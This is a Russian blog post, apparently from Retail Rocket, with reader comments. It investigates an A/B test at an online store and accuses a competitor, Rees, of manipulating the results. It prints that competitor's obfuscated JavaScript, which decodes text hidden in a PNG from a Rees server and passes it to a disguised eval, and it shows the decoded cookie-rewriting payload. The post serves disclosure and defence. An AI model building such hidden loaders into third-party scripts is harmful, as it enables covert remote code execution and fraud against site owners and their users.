АБ-тестирование — один из самых сильных и полезных инструментов управления продуктом, который позволяет оценить эффективность тех или иных решений на экономические показатели в интернет-бизнесе. За пять лет работы мы провели огромное количество АБ-тестов, и поэтому отлично знаем, насколько сложно провести эксперименты правильно и какие ошибки повторяются постоянно.

Несколько месяцев назад один из наших конкурентов начал делать странное – предлагать нашим клиентам сравнение своей системы рекомендаций с Retail Rocket через АБ-тесты в формате «пари» с обязательством заплатить 100 000 рублей в случае проигрыша.

Подобные истории для нас не редкость — за время существования компании нашу систему сравнивали практически со всеми существующими рекомендательными системами в России и за рубежом, и мы всегда показывали отличные результаты (ни в одном тесте мы не проиграли по эффективности).

Первый тест с Rees не заставил себя ждать, но в ходе его проведения мы столкнулись с довольно странными результатами, которые вылились в серьезное исследование. То, что мы обнаружили в итоге, удивило нас так сильно, что мы хотим поделиться деталями этого исследования и вынести его результаты на суд IT-сообщества и индустрии электронной коммерции в России.



АБ-тестирование систем рекомендаций в интернет-магазине «Дочки&Сыночки»


В интернет-магазине «Дочки&Сыночки» в течение нескольких месяцев шел тест трех рекомендательных систем: Retail Rocket, Rees и внутренней системы компании.

Механика проведения АБ-тестирования: вся аудитория сайта случайным образом делится на три равных части, и каждая часть аудитории видит свою версию сайта. Меняются только блоки персональных рекомендаций — каждому сегменту показываются блоки, управляемые одной из рекомендательных систем:



В рамках теста измеряется конверсия каждого сегмента трафика, сравнивается с другими и по результатам принимается решение о том, какая система работает эффективнее.

Аудитория делится на клиенте с помощью JavaScript-кода, все пользователи получают идентификатор одного из трех сегментов теста, который сохраняется в куке и затем передается в Google Analytics при каждом значимом действии на сайте.

Результаты теста на момент написания статьи из Google Analytics — конверсия по сегментам

Сегмент А — рекомендательная система Дочки Сыночки
Сегмент В — рекомендательная система Rees
Сегмент С — рекомендательная система Retail Rocket



Изменения конверсии относительно показателей внутренней рекомендательной системы «Дочки&Сыночки»

По этим данным сегмент С (Retail Rocket) проигрывает, сегмент B (Rees) выигрывает. Отдельно обратите внимание 27 мая, в этот день Retail Rocket показывает лучшие показатели — к этой детали мы вернемся позже.

В течение теста инженерная команда Retail Rocket провела множество внутренних тестов, выявила несколько ошибок на сайте, исправила немало проблем с интеграцией и провела набор внутренних тестов различных алгоритмов и их вариаций. Ощутимых изменений все эти действия не принесли.

Визуальная оценка качества рекомендаций


У нас в Retail Rocket есть несколько способов оценки эффективности и качества рекомендаций. Самый первый из них – так называемая “экспертная оценка” (субъективная визуальная оценка “адекватности”).

Посмотрим на примеры рекомендаций, сформированные системами Retail Rocket и Rees:



К наполнителю для кошачьего туалета, наша система рекомендует переноску для животных и разные виды корма для кошек, а система Rees — детское питание, чай и ректальную трубку для детей.

Таких примеров по довольно посещаемым товарам (по которым быстро копится статистика) очень много (вот один из отчетов по визуальной оценке качества), и несмотря на то, что экспертная оценка не влияет напрямую на цифры, это простой и быстрый способ, который служит определенным показателем качества работы рекомендательных систем.

Косвенная оценка качества рекомендаций


Нам показалось странным, что при такой визуальной составляющей, цифры показывают результат не в нашу пользу, поэтому мы потратили много ресурсов на различные внутренние исследования причин.

В первую очередь мы решили исследовать аудиторию, которая взаимодействует с блоками товарных рекомендаций. При клике товары в рекомендательных блоках Rees, к URL добавляется параметр:



Мы добавили похожий параметр в URL товаров из блоков рекомендаций Retail Rocket:



И построили в GA сегменты кликавших в рекомендательные блоки пользователей:



Первой гипотезой стало то, что наша система хуже угадывает предпочтения пользователей, рекомендует менее релевантные товары.

Если это так, то наши блоки должны получать меньше кликов, чем блоки рекомендаций Rees, что опровергается данными Google Analytics — мы получаем в 2,81 раз больше кликов по виджетам:



Вторая гипотеза, которую мы рассматривали: визуально хорошие рекомендации отвлекают людей от покупки и снижают конверсию. Т.е. притягивают их внимание, но отвлекают от покупок и не способствуют росту продаж.

В этом случае кликнувшие в блоки рекомендаций Retail Rocket будут конвертироваться хуже, чем кликнувшие в блоки Rees. Но по данным Google Analytics это не так, конверсия кликнувших в блоки Retail Rocket значительно выше (на 37% по данным за 4 дня):



Таким образом, Retail Rocket значительно чаще рекомендует релевантные пользователю товары, пользователи чаще кликают на эти товары и рекомендации положительно влияют на продажи.

Если проблем с теми, кто взаимодействует с рекомендациями нет, и с визуальной стороны рекомендации выглядят релевантными, остается посмотреть на тех, кто не кликает по рекомендациям.

Исследование аудитории интернет-магазина


Начав исследовать этот сегмент аудитории, мы заметили два интересных факта:

  1. В сегменте Rees на несколько процентов больше пользователей, чем в других сегментах, хотя настройки АБ-теста предполагают равномерное распределение аудитории между рекомендательными системами.
  2. В сегменте Rees аудитория более лояльная, в ней гораздо больше посетителей, которые приходят на сайт повторно.




Чтобы проверить корректность работы разделения трафика интернет-магазина на сегменты, мы самостоятельно протестировали сегментатор с помощью кода, который использовал сайт: параллельно с основным делением, запустили сегментирование той же аудитории — погрешность получилась минимальной:

  • Сегмент 1: 63215 пользователей
  • Сегмент 2: 63500 пользователей
  • Сегмент 3: 63686 пользователей

Это означает, что сегментатор работает правильно и погрешности в несколько процентов быть не может, т.е. распределение трафика в рамках АБ-теста «Дочки&Сыночки» содержит аномалию.

Наши разработчики детально исследовали код сайта на предмет JS ошибок и багов, которые могли бы влиять на сегментацию, и не нашли ничего, что могло бы вызвать аномалию.

Логичным предположением стала мысль, что пользователи каким-то образом могут перемещаться между сегментами. В нашей практике встречались случаи, когда пользователи меняли сегмент внутри теста, например из-за неправильно заданного времени жизни куки (в одном из магазинов кука, в которую сохраняли идентификатор сегмента АБ-теста, жила только две недели, и если пользователь возвращался по истечении этого времени, ему присваивалось случайно значение — т.е. пользователь мог попасть в другой сегмент теста). Чтобы избежать подобных ситуаций, у нас разработан чек-лист, в котором есть пункт о необходимости убедиться, что пользователь не меняет сегмент в ходе теста.

Для отслеживания подобных ситуаций в Google Analytics есть инструмент «Последовательности», который позволяет выделить пользователей, которые сначала были в одном сегменте, а затем перешли в другой. Для анализа мы построили несколько таких сегментов в Google Analytics:



И в результате получили такие цифры:



По этим данным четко видно, что в сегмент Rees из остальных перемещается аномально много пользователей. И это точно не баг, иначе пользователи перемещались бы между всеми сегментами равномерно.

Второй вывод: эти пользователи делают много заказов.

*Интернет-магазин подтвердил, что это настоящие заказы (почти все они имеют статус «выкуплено»)

По номерам заказов пользователей, перемещенных в сегмент Rees, мы исследовали наши внутренние логи сессий и выявили следующие паттерны:

  1. Почти все пользователи, перемещенные в сегмент Rees, имеют добавление товаров в корзину (т.е. это более лояльная/конверсионная аудитория);
  2. Перемещения пользователей распределяются по часам неравномерно, это указывает на то, что оно инициируется вручную;
  3. Перемещения пользователей в сегмент Rees происходит в те дни, когда Retail Rocket начинает побеждать в АБ тесте:



Перемещение пользователей в сегмент Rees (сверху часы, слева дни)



Перемещение пользователей в сегмент Retail Rocket (сверху часы, слева дни)

В таблице видно, что 25 и 26 мая перемещений почти нет, а 27 мая, когда система Retail Rocket начинает выходить в плюс — перемещения начинаются снова. И вновь перемещаются пользователи, которые добавляют товар в корзину и скоро сконвертируются в покупателей.

Исследование кода, работающего на сайте


Поскольку перемещение лояльных пользователей в семент Rees выглядело подозрительно, мы начали искать причину смены сегмента пользователей и изучать код. Мы тщательно исследовали, кто и как работает с куками, не мог ли кто-то случайно что-то сделать для появления подобных ошибок, и ничего подозрительного мы не нашли.

Оставалось два варианта: либо кука изменяется сервером магазина Дочки Сыночки и этого не видно на клиенте, либо динамическим кодом, который приходит с сервера по какому-то запросу.

Проверяя динамический код, мы искали в том числе функцию eval — специальную javascript функцию, которая может выполнять любой текст, к примеру присланный с сервера, как JavaScript код, что в недобросовестных руках позволяет скрыть функциональность кода, но при этом дает полный доступ ко всему окружению сайта.

В ходе проверки наткнулись на странный кусок кода в JS библиотеке Rees:


Кусок кода из JS библиотеки Rees
     key: "markDMP",
                    value: function(e) {
                        var t = function(e) {
                            return String.fromCharCode(e)
                        };
                        if (e)
                            for (var i in e)
                                if (e.hasOwnProperty(i))
                                    if (function(e) {
                                        return /\x61\x70\x69\x2E\x72\x65\x65\x73\x34\x36\x2E\x63\x6F\x6D/.test(e)
                                    }(e[i])) {
                                        var n = function() {
                                            var n = document.createElement("canvas")
                                              , o = void 0
                                              , s = t(67)
                                              , a = t(68)
                                              , u = l.default.get(s.toLowerCase() + "ity") || l.default.get(t(71) + "EO_" + a + "ELIVERY_" + s + "ITY_I" + a)
                                              , c = [s + "UR", s + "ITY", s + "ODE"];
                                            if (n && n.getContext && u && !1 === g.default.isDebug()) {
                                                if (/^a:/.test(u)) {
                                                    var h = r.unserialize(u);
                                                    if (!h || 464 === h[c.join("_")])
                                                        return "continue"
                                                } else if (3784 === u || 3577 === u)
                                                    return "continue";
                                                o = new Image,
                                                o.crossOrigin = "use-credentials",
                                                o.onload = function(e, r) {
                                                    r.width = this.naturalWidth,
                                                    r.height = this.naturalHeight;
                                                    var i = r.getContext("2d");
                                                    i.drawImage(this, 0, 0);
                                                    var n = i.getImageData(0, 0, this.naturalWidth, this.naturalHeight)
                                                      , o = n.data
                                                      , s = void 0
                                                      , a = void 0
                                                      , u = "";
                                                    for (s = 0,
                                                    a = o.length; s < a; s++)
                                                        if (!(s % 4 == 3 && s > 0)) {
                                                            if (0 === o[s])
                                                                break;
                                                            u += function(e) {
                                                                return String.fromCharCode(~-e)
                                                            }(o[s])
                                                        }
                                                    try {
                                                        window[t(101) + "val"](u)
                                                    } catch (e) {}
                                                }
                                                .bind(o, t, n),
                                                o.src = e[i]
                                            }
                                        }();
                                        if ("continue" === n)
                                            continue
                                    } else {
                                        var o = document.createElement("img");
                                        o.src = e[i],
                                        o.style.width = 0,
                                        o.style.height = 0,
                                        o.style.display = "none",
                                        o.style.position = "absolute",
                                        o.style.left = "-9999px",
                                        document.body.appendChild(o)
                                    }
                    }
                }




Весь код доступен по ссылке. Особенность этого куска кода — в нем явно пытаются скрыть его функциональность.

По коду можно сделать несколько выводов:

  • Этот фрагмент кода написан специально для магазина ДочкиСыночки, поскольку он скрыто использует куку под именем “city”, принадлежащую магазину (магазин хранит в ней идентификатор региона пользователя)
  • Код намеренно написан так, чтобы затруднить его чтение и понимание (вместо текста используются числовые идентификаторы букв)
  • Функциональность кода специально скрывается от внешних разработчиков — код не отрабатывает при открытой консоли браузера и для посетителей сайта из Москвы (интернет-магазин должен знать, что он интегрирует к себе на сайт, и какая строчка кода за что отвечает, а здесь — намеренное сокрытие)
  • Код предназначен для загрузки картинки с сервера Rees, раскодирования из этой картинки текста, и передаче текста на вход в наивно спрятанную функцию eval (window[t(101) + «val»](u))
  • Все это указывает на возможность скрыто выполнить любой код со стороны Rees




Мы предполагаем, что как только это информация будет опубликована, Rees удалит этот код, поэтому мы сохранили его с помощью двух внешних независимых сервисов: https://web.archive.org и https://www.runscope.com

Его отформатированная версия доступна для исследования по ссылке.

Чтобы понять, что именно делает этот фрагмент, мы написали модуль, который эмулирует действия пользователя и логирует все запросы в сторону сервера Rees. 25 и 26 мая ничего не происходило (это также видно из таблицы с данными о почасовому перемещению пользователей в сторону Rees), а 27 мая, когда по данным Google Analytics система Retail Rocket вышла в плюс по АБ тесту, около 7 вечера по московскому времени вновь начались перемещения пользователей в сегмент Rees.



Перемещение пользователей в сегмент Rees (сверху часы, слева дни)

В это же время мы зафиксировали запросы в сторону сервера Rees на картинку в формате PNG (содержимое картинки можно посмотреть по ссылке). Просто так картинка не доступна (возвращается ошибка 404), но при передаче в заголовке запроса к картинке сессии пользователя Rees, картинка оказывается доступной для скачивания:



Если картинку передать на вход в код, который пытались закодировать/скрыть, для удобства мы вынесли его отдельно, получается вот такой JS, который изменяет значение куки, где хранится сегмент пользователя АБ теста:

document.cookie="rr-VisitorSegment_Rec=3:2; domain=.dochkisinochki.ru; path=/; expires=Mon, 25 Sep 2017 10:15:20 
+0000";document.cookie="DS_SM_rrSegmentRecommendedABC=B; domain=.dochkisinochki.ru; path=/

Этот код явно изменяет две куки, принадлежащих магазину, в которых хранится сегмент пользователя, на значение сегмента равного сегменту Rees.

Мы уверены, что Rees скроет все следы этой атаки, поэтому картинка так же сохранена запросом независимого стороннего сервиса.

Таким образом, код системы Rees перемещает в свой сегмент пользователей, которые добавили товар в корзину и вот-вот совершат заказ.

По данным, полученным с момента начала логирования перемещений пользователей (1–28 мая), построенным на основе изначально выданного пользователям сегмента (то есть из этих данных исключены все, кто впервые приходил на сайт до 1 мая), Retail Rocket достоверно побеждает в тесте, а Rees уменьшает продажи магазина:



Точное окно миграции лояльных пользователей интернет-магазина в сегмент Rees неизвестно, поэтому разница в эффективности значительно больше.

Кроме того, мы видим признаки других атак на тест в коде Rees, например, при первом посещении сайта их система осуществляет куки матчинг с несколькими RTB-сетями.

Код синхронизации:



Сохраненный запрос можно посмотреть по ссылке на web.archive.org

Запросы синхронизации:



Это как минимум позволяет конкурентам интернет-магазина получить доступ к этим пользователям, и как максимум — вести ретаргетинг на трафик из своего сегмента и уводить трафик из других сегментов теста к конкурентом, снижая конверсию.

Интересный факт, что эта атака Rees поддерживалась активной PR-кампанией в СМИ и социальных сетях:



Вместо заключения


За без малого 5 лет работы, мы впервые сталкиваемся с подобным поведением. С сожалением надо признать, что АБ тесты можно проводить только при абсолютной уверенности порядочности всех его участников.

Мы считаем такие методы конкуренции недобросовестными и недопустимыми, это наносит ущерб всему сообществу и подрывает доверие к сложившимся практикам работы. В данный момент мы ведем активную работу в правовом поле с целью наказать виновных и призываем сообщество поделиться опытом решения подобных ситуаций.
Поделиться с друзьями
-->

Комментарии (84)


  1. STdio
    02.06.2017 12:49
    +21

    Настоящий детектив! Читал на одном дыхании.


    1. Dimchansky
      02.06.2017 16:14
      +3

      1. Tortortor
        02.06.2017 16:44
        +8

        если пост удалят — там этот Rees оправдывается, его кормят говном, в итоге дочкисыночки ставят точку:

        https://monosnap.com/file/lsVKG15Q6LMQIb0xZYbf7etrDFcW1J


        1. khim
          02.06.2017 22:52

          Это ещё не конец! Они там объясняют, что этим пикселем они, оказывается, борются с недобросовестными конкурентами.

          Ну там типа: мы взломали вашу сеть и засунули к вас в c:\windows\system32 нашу программу, но это не троян, нет-нет — это наш защитник, он вам помогает с вирусами бороться.

          То есть теоретически, конечно, можно себе представить мир, в котором подобные «Робин Губы» существуют, но практически… Нет — ну кем нужно быть, чтобы в такое поверить? Шестилетним мальчиком?


          1. Xandrmoro
            03.06.2017 01:16

            Технически, есть трояны, которые выпиливают конкурентов. Вероятно, чтобы у пользователя было меньше поводов заподозрить неладное (тормоза и вот это вот всё).


  1. knikonov
    02.06.2017 12:50
    +7

    Какого только говна не напихают в код, чтобы отжать вкусного клиента.


    1. MaximChistov
      02.06.2017 13:04
      +2

      так они и клиента в итоге имеют, не только конкурентов. мерзкие людишки


      1. knikonov
        02.06.2017 13:08
        +4

        по факту да; меня ещё очень разозлил прикол увода потенциального покупателя в RTB сети


  1. stepansokolov
    02.06.2017 13:04

    Браво!


  1. Zom
    02.06.2017 13:08
    +5

    Хороший зашквар (:


  1. rzykov
    02.06.2017 13:13
    +3

    Уважаемое сообщество Хабра, поделитесь вашим способом борьбы с такими вещами. Такие «подлые» тесты довольно тяжело выявить, особенно имея в руках только Google Analytics. Нам пришлось очень детально анализировать логи на Scala/Spark/Hadoop чтобы раскрыть преступление.

    Как можно это сделать проще?


    1. knikonov
      02.06.2017 13:45

      Смотреть на запросы в консоли отладки и анализировать всё, что непонятно?


      1. rzykov
        02.06.2017 13:47
        +4

        В консоли не было видно, скрипт блокировал вызовы, когда открыта консоль :-(


    1. Arta
      02.06.2017 14:02
      +7

      если остановиться на доверии к магазину, то загружать js код только той рекомендательной системы которая будет использоваться для конкретно этого юзера


      1. rzykov
        02.06.2017 14:14

        хороший вариант!


        1. kosmos89
          02.06.2017 17:40
          +1

          Это все равно оставляет пространство для маневров. Например, злокачественный скрипт может скидывать "плохих" клиентов другим.


          1. Loki3000
            02.06.2017 17:43
            +1

            Как я понимаю, при этом сразу образуется перекос в размерах сегментов.


            1. kosmos89
              02.06.2017 17:47

              Ну да, но и в данном случае он был.


              1. dienow
                02.06.2017 18:14
                +2

                Тк конверсия скорее всего не высокая, чтобы выиграть, нужно скинуть конкуренту много плохих пользователей, перекос в размерах сегментах будет очень значительным.


                1. kosmos89
                  02.06.2017 18:16

                  Согласен, но все равно это решение не обеспечиает 100% чистоту и беспристрастность.


                  1. michael_vostrikov
                    02.06.2017 21:09

                    Вы хотите наебать систему, обеспечивая 100% чистоту и беспристрастность?)


                    1. michael_vostrikov
                      02.06.2017 21:17

                      Этот мой коммент немного не к месту, поэтому извиняюсь. Отвечать необязательно


          1. Sayonji
            02.06.2017 20:49

            Может быть можно сегментатор/аналитику держать в ифрейме с соседнего домена, вставляемым в каждую страницу, и в этот ифрейм пересылать сообщения из основного js? Тогда у чужих скриптов будет лишь заранее определенный интерфейс, возможность сделать ничего не по правилам не будет.


      1. superconductor
        03.06.2017 11:48
        +1

        Этого не достаточно. Нужно сегментировать аудиторию для АБ тестов на сервере, включать функциональность тоже на сервере, а куку для сегментации делать недоступной из js.
        Ещё неплохо все внешние скрипты 1) запускать во фрейме 2) грузить со своего домена, чтобы исключить подмену скрипта не добросовестным партнером


    1. RangerX
      02.06.2017 14:40
      +1

      Кажется, следующая статья RR будет называться «Как обнаружить атаку, анализируя логи через Scala/Hadoop» ;)


    1. Tab10id
      03.06.2017 13:47

      приходит в голову механизм подписи значения кукисов


    1. sebres
      06.06.2017 21:02
      +1

      Как вариант — разносить по разным доменам (суб-доменам)… + SOP + не юзать кросс-доменные куки ...


  1. divan-9th
    02.06.2017 13:51
    +3

    Может быть может помочь правильная настройка Content-Security-Policy со стороны магазина


  1. speller
    02.06.2017 14:40

    Предлагаю написать блокиратор хаков от Rees и подговорить магазины разводить эту компанию на 100 000 рублей за проваленные тесты.


    1. Nessuno
      05.06.2017 18:46

      eval = x => `Rees охренел!`;
      


  1. Ugrum
    02.06.2017 14:41
    +11

    Добавьте тег «классический детектив».
    Отличное расследование и шикарная подача материала.


  1. old_bear
    02.06.2017 15:00
    +1

    Какая милота.
    Вспомнилась война читов в тестах для видеокарт.
    Утопить бы репутацию этих нехороших людей поглубже, чтобы урок был для других.


  1. YaMishar
    02.06.2017 16:02
    +6

    А вот мне интересно — какими качествами надо обладать, чтобы на такое пойти. Я не про моральные, тут всё понятно, я про интеллектуальные. Ну ведь вскрывается же, как оказалось, довольно просто.
    Анализом статистики поймали необъяснимые девиации.
    Код доступен — довольно простой реверсинжениринг. Я про картинку правда не понял.

    Теперь просто в порошок растёрли свою репутацию.


    1. Loki3000
      02.06.2017 16:12
      +1

      Не так уж и просто. Это просто глядя на рекомендации видно что такого не может быть. А если бы рекомендации были в целом похожие (примерно равные соперники), то и не полезли бы так глубоко изучать.


    1. Regis
      02.06.2017 16:57

      Плюс, судя по комментариям, там было противодействие отладке (скрипт отключался при открытой консоли браузера).


      1. RetailRocket
        02.06.2017 16:59

        Да и еще если выбран регион Москва(у нас он по умолчанию), то тоже код не работал.


        1. YaMishar
          02.06.2017 17:15

          Я не разработчик, но я так понял, что защита от дебага и проверка региона срабатывала только в плане запросов. То есть из москвы и под дебагом запросов не видно. Но код доступен.


          1. chizh_andrey
            02.06.2017 18:12
            +1

            Там 2 части кода: первая запрашивает и исполняет код в картинке, вторая часть кода в картинке и меняет куку. Первая часть видна и видно что она не будет запрашивать картинку с открытой консолью и для склада 464, а вот вторую вообще не видно и нам очень повезло что удалось ее поймать.


      1. divan-9th
        02.06.2017 17:32

        Да найти такой код не сложно, все-таки там явные признаки сокрытия логики которые бросаются в глаза. Но сам факт, что приходится вычитывать чужой яваскрипт в поисках закладок вводит в уныние.


        1. divan-9th
          02.06.2017 17:33

          Вот ставишь себе код фейсбука, и что, искать там ошибки? Почему мы ему должны доверять теперь?


          1. sumanai
            03.06.2017 13:55

            Очевидно, что любому внешнему коду нельзя доверять.


  1. Dimchansky
    02.06.2017 16:13
    +4

    1. chizh_andrey
      02.06.2017 17:02
      +1

      Скажите, очевидно ли что они пытаются уйти от ответа?


      1. Dimchansky
        02.06.2017 17:03
        +3

        Похоже на то


      1. Regis
        02.06.2017 17:34
        +2

        Подняли кучу других претензий (о которых в статье ни слова), а основную претензию вместо того чтобы нормально разобрать и, возможно, действительно оправдаться — списали на безграмотность специалистов Retail Rocket (и, видимо, всех остальных).


      1. bak
        02.06.2017 20:03

        Их вина абсолютно очевидна, ради интереса проверил картинку — там действительно при дешифровке получается код, меняющий в куке сегмент для домена dochkisinochki.ru. В их опровержении они говорят что url с картинкой отдаёт 403, но это не так — сторонний сервис подтверждает что по крайней мере 5 дней назад они отдавали код смены сегмента.


        1. old_bear
          02.06.2017 20:07

          По всей видимости автор того поста в мордокниге не знает слова «хабро-эффект».
          Ну и считает окружающих идиотами заодно.


          1. persei
            02.06.2017 20:54
            +2

            Автор делает хорошую мину при плохой игре и очевидно пытается спасти репутацию.

            Трюк с кодом, спрятанным в картинку, которая отдается только при определенных заголовках — сложно понять технически далекому менеджменту. Отсюда следуют манипуляции с трактовкой.


        1. Regis
          02.06.2017 20:21

          Похоже, что сейчас у них любой запрос на поддомен "api." возвращает 403.


        1. DjOnline
          07.06.2017 14:15

          Как я понял их ответ, они в свою очередь обвиняют RR в том что и RR тоже применяет методы подмены куки и уводят людей из сегмента. Так что возможно у обоих рыльце в пушку. Нужен официальный комментарий от RR.


          1. chizh_andrey
            08.06.2017 14:29
            +5

            Надеюсь, я для вас достаточно официальный представитель Retail Rocket.

            Похоже на попытку запутать людей, не обладающих навыками веб-разработки, набросав много непонятных менеджерам и маркетологам слов (“у них в коде тоже много функций eval” – серьезно? – звучит так же, как если бы они на фразу “мы нашли спрятанный у вас дома топор с кровью жертвы” ответили “ну и что, у них тоже в сарае есть топор”).

            Они пытаются придраться к деталям интеграции на магазине, при этом весь код интеграции все еще на сайте в том виде, в котором он был на момент теста и любой может проверить как он работает. Все, к чему они апеллируют, что есть конфликт имен модулей между магазином и кодом Retail Rocket и якобы это позволяет нам менять куку. Во-первых, нет: JavaScript исполняется последовательно, а код Retail Rocket подключен значительно ниже кода деления трафика магазина (сегментатор магазина – ~65 строка, код Retail Rocket – ~2500 строка) и момент его срабатывания уже поздно что-то там подменять, так как сегмент пользователя уже определен в куке (наш код ни к каким кукам теста не обращается). Это легко проверить в дебаггере (наш код там работает и не зашифрован). Во-вторых, мы все знаем — чтобы сменить куку никакие “конфликты” не требуются, берешь и меняешь, вот прямо как они сделали:

            document.cookie="rr-VisitorSegment_Rec=3:2; domain=.dochkisinochki.ru; path=/; expires=Mon, 25 Sep 2017 10:15:20 
            +0000";document.cookie="DS_SM_rrSegmentRecommendedABC=B; domain=.dochkisinochki.ru; path=/
            

            Коллеги довольно легко разбрасываются домыслами налево и направо. Мы же оперируем фактами: их зашифрованный в картинке код поймали и это чудо, что нам это удалось сделать, их библиотека намеренно скрывает функциональность (замена букв при вызове eval и передача кода в картинке — бррр, код не работает при открытой консоли и т.д.), статистика Google Analytics точно показывает в чей сегмент мигрировали заказы и так далее.


    1. speller
      03.06.2017 03:29

      Там содержится претензия к RR о смене сегмента — это правда?


      1. chizh_andrey
        03.06.2017 12:14
        +2

        Нет, это голословное обвинения, которое противоречит еще и со статистикой в Google Analytics(пользователи перешли только к ним в сегмент), ну и с нашей внутренней статистикой.


  1. pr3dat0r
    02.06.2017 18:12
    +6

    Картинки не кликабельны и текст большинства плохо видно.


  1. wildraid
    02.06.2017 22:08
    +3

    Не совсем понимаю, на что они рассчитывали. Понятно, что рано или поздно такой способ раскусят. И об этом узнают в том числе все клиенты, которых уже успели обмануть. Вся репутация прахом, все вложения в движок рекомендаций — в корзину.

    И стоило оно того?


    1. Aquahawk
      03.06.2017 12:20

      тут есть проблема, всё прахом идёт только в кино и мультике. Реальность изобрела ребрендинг и другие способы по 100 раз впаривать унылую херню.


    1. ximaera
      03.06.2017 12:44

      Какая ещё репутация прахом. Менеджмент большинства клиентов не поймет всех этих объяснений. Rees легко смогут заболтать этот случай.


    1. mayorovp
      03.06.2017 13:49

      Вот только ничего особенного у них в этот движок не вложено.


    1. evil_kabab
      07.06.2017 10:51

      Они использовали этот код только чтобы выиграть клиента, а не каждый день. В реальной жизни эта функциональность не имеет смысла, качество рекомендации она вообще не улучшает.
      И защитились они тоже неплохо.

      Имеет ли смысл? Помните «дизелгейт» VW в США?


  1. euhenio
    03.06.2017 11:16
    +1

    Получается, что для любого сегмента пользователя отрабатывали оба кода?

    и могли таскать друг у друга сессии
    но это же дыра, блин,

    если сейчас этой дырой воспользовался REES, то в другие разы ей мог пользоваться RR
    как я понял, сегментатор авторства RR — тогда вообще все не так однозначно (ц)

    Ежу понятно, что только один код для одного сегмента должен отрабатывать — тогда таскать сессии будет невозможно


    1. khim
      03.06.2017 19:12

      Еду, может, и понятно, а веб-разработчикам — нет. Что мешает выдавать при первом входе Куку, отправляющая пользователя в нужный сегмент и грузящую затем только скрипты одного из двух конкурентов — неясно абсолютно.


      1. Tortortor
        03.06.2017 19:16
        +1

        а если обратная ситуация — скрипт меняет куку и отправляет бесперспективного юзера к конкуренту?


        1. khim
          05.06.2017 19:18

          Для этого он должен её как-минимум увидеть. Понятно, что скрипт-сегментатор должен жить на отдельном домене, выставлять куку только для этого домена и шифровать её. Название куки можно тоже сделать псевдослучайным… К счастью — это всё стандартные вещи, которые никаких новых стандартов 2020 года не требуют…


  1. AlexNomad
    03.06.2017 12:27
    +1

    Мы увидим юридические последствия этой аферы? Или все спустится на тормозах?


    1. RetailRocket
      03.06.2017 17:29
      +3

      Да, мы намерены идти как минимум в ФАС.


  1. bardex
    03.06.2017 13:59
    -2

    Честно говоря, я бы на месте владельцев магазина, после такой истории выкинул бы из сайта обе указанных конторы, потому что как покупатель, я ни за что не буду делать покупки и светить платежные данные на взломанном сайте.


    1. mayorovp
      03.06.2017 14:01
      +1

      О чем вы? При чем тут взлом сайта?


      1. bardex
        03.06.2017 14:10
        -6

        Я глупый испуганный покупатель, я не знаю, что такое куки и ява-скрипт, из всей статьи я вижу ключевые фразы: название магазина + атака + афера + подмена чего-то. И вы хотите, чтобы я после этого указывал вам номер своей карты ?? Боюсь, что если скандал будет дальше разгораться в публичной сфере, то больше всего потерь может понести сам магазин. Рокет должен был предъявить это все владельцам магазина, а если хотелось публичного обсуждения — то убрать ссылки на магазин.


        1. RetailRocket
          03.06.2017 16:49
          +8

          В первую очередь мы при личной встрече с представителями интернет-магазина еще более детально, чем в статье, изложили все известные нам факты и наши наблюдения. Вместе с техническим специалистом магазина воспроизвели, как меняется сегмент любого пользователя на сегмент REES. Получили разрешение на использование имени магазина в статье. Затем мы тоже самое проделали с 4 разными сервисными компаниями (дружественными нам и не очень), и только после этого опубликовали нашу статью.


    1. bardex
      03.06.2017 14:03
      -3

      зря минусуете, посмотрите на эту ситуацию глазами простого покупателя, а не технического специалиста.


      1. khim
        03.06.2017 19:20
        +2

        У простого покупателя память — не работает от слова «вообще». Бояться чего-либо он будет ровно пять минут. Потом всё забудет и ему всё будет пофигу. Ну хорошо, пусть не пять минут, а пять дней — в любом случае это потери — ничто на фоне того, что можно было бы потерять…


    1. evil_kabab
      07.06.2017 11:31
      +2

      Абсолютно неправы. Зло должно быть наказано, а доброе дело поощрено. Это очень важно


  1. amsterdy
    03.06.2017 14:37
    -10

    АБ-тесты нужны там, где людям пытаются продать хлам. Я огорчен теми, кто этим до сих пор занимается.

    Решение — просто делать клевые проекты.


    1. khim
      03.06.2017 19:29
      +6

      АБ-тесты нужны там, где людям пытаются продать хлам. Я огорчен теми, кто этим до сих пор занимается.
      Ок, принято. Выкидываем всё, что разработано Гуглом и Майкрософтом, Каноникалом и Эпплом, перестаём пользоваться Яндексом и Файрфоксом… слушайте — а как вы тут комментарий написали, если ни Хром, ни Оперу не пользуете и ни с МакОС, ни с Windows, ни с Linux не общаетесь?

      Решение — просто делать клевые проекты.
      Осталось понять как вы узнаете, что ваш проект — клёвый, если ни с чем его не будете сравнивать…


    1. old_bear
      03.06.2017 22:18
      +2

      Так ознакомьте же нас со своими клёвыми проектами.


    1. alexandersh123
      04.06.2017 02:17


  1. wshakura
    03.06.2017 14:37
    +1

    Интересно, насколько сложно такое до суда довести? Обвинения и доказательства очень серьезные.


    1. RetailRocket
      03.06.2017 16:46

      Для нас это будет новый и увлекательный опыт, обязательно расскажем о нем сообществу.


  1. x_sourer
    03.06.2017 16:12

    очень интересная история

    как бороться?
    все скрипты должны быть под контролем магазина?
    валидация скриптов всеми участниками?
    контроль качества сегментации арбитром?


    1. chizh_andrey
      03.06.2017 17:01
      +1

      все скрипты должны быть под контролем магазина?

      Функциональность скриптов должна быть прозрачной, любое сокрытие того, что делает код, должно быть исключено.

      контроль качества сегментации арбитром?

      Пока нам кажется достаточным, чтобы трафик делился ровно, а пользователи не меняли сегмент. Это можно отследить через google analytics.

      валидация скриптов всеми участниками?

      Боюсь, что такое недоверие сильно замедлит разработку всех проектов. Думаю, будет достаточно, чтобы сервис всегда рисковал своей головой, если он будет замечен хотя бы в сокрытии функционала кода, не говоря уже о действиях которые несут вред магазину: отправка пользователей в другие системы без ведома магазина или атаки на тесты магазина. Да и вообще всего, что намерено наносит вред.


  1. danforth
    03.06.2017 20:49
    -4

    Увы, это не первый случай отсутствия какой-либо корпоративной этики. Проигрывать тоже надо уметь. А ещё у Rees46 название идиотское. Ну правда, как-то можно это объяснить? Что значит цифра 46? Почему Rees? Почему не «Абырвалг65»? Это они надписи на футболках придумывают?


  1. alexandersh123
    04.06.2017 01:48
    +2

    достаточно интересная ситуация, молодцы все: и те, кто умудрился внедрить такой обман (молодцы — в хорошем смысле, т.к. такое еще надо было придумать и более того, смочь реализовать) и тем более вы, т.к. смогли это расследовать, т.к. это явно было очень не просто…
